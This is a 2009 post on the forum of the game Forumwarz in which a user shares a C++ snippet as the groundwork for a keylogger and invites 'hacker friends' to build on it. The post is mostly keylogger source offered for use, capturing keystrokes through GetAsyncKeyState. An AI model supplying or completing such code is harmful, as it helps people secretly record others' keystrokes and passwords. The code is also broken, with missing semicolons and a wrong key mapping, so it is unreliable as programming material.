Forumwarz is the first "Massively Single-Player" online RPG completely built around Internet culture.
You are currently looking at Flamebate, our community forums. Players can discuss the game here, strategize, and role play as their characters.
You need to be logged in to post and to see the uncensored versions of these forums.
Viewing a Post
Below is an easy to use C++ function which can easily be converted into a keylogger! #include <iostream> #include <string> #include <fstream> #include <conio.h> #include "windows.h" using namespace std; int main(){ One: string keystrokes; cout << "KeyStrokes: " << keystrokes << "\n"; getch(); // just using getch to make C++ wait for key strokes. if (GetAsyncKeyState(VK_SPACE) != 0) { keystrokes+="SPACE" goto One; } // Below is for letters where is says Hex Code put the hex equivilant // like 0x45 if (GetAsyncKeyState(0x45) != 0) { keystrokes+="A" goto One; } /* But there you go my hacker friends basic ground work for a primitive keylogger. You could do like I did with mine and set up the keys in an array which will make the code much smaller. Play with it, have fun! */STGill edited this message on 08/05/2009 2:14AM |
|
Posted On: 08/05/2009 2:12AM | View STGill's Profile | # |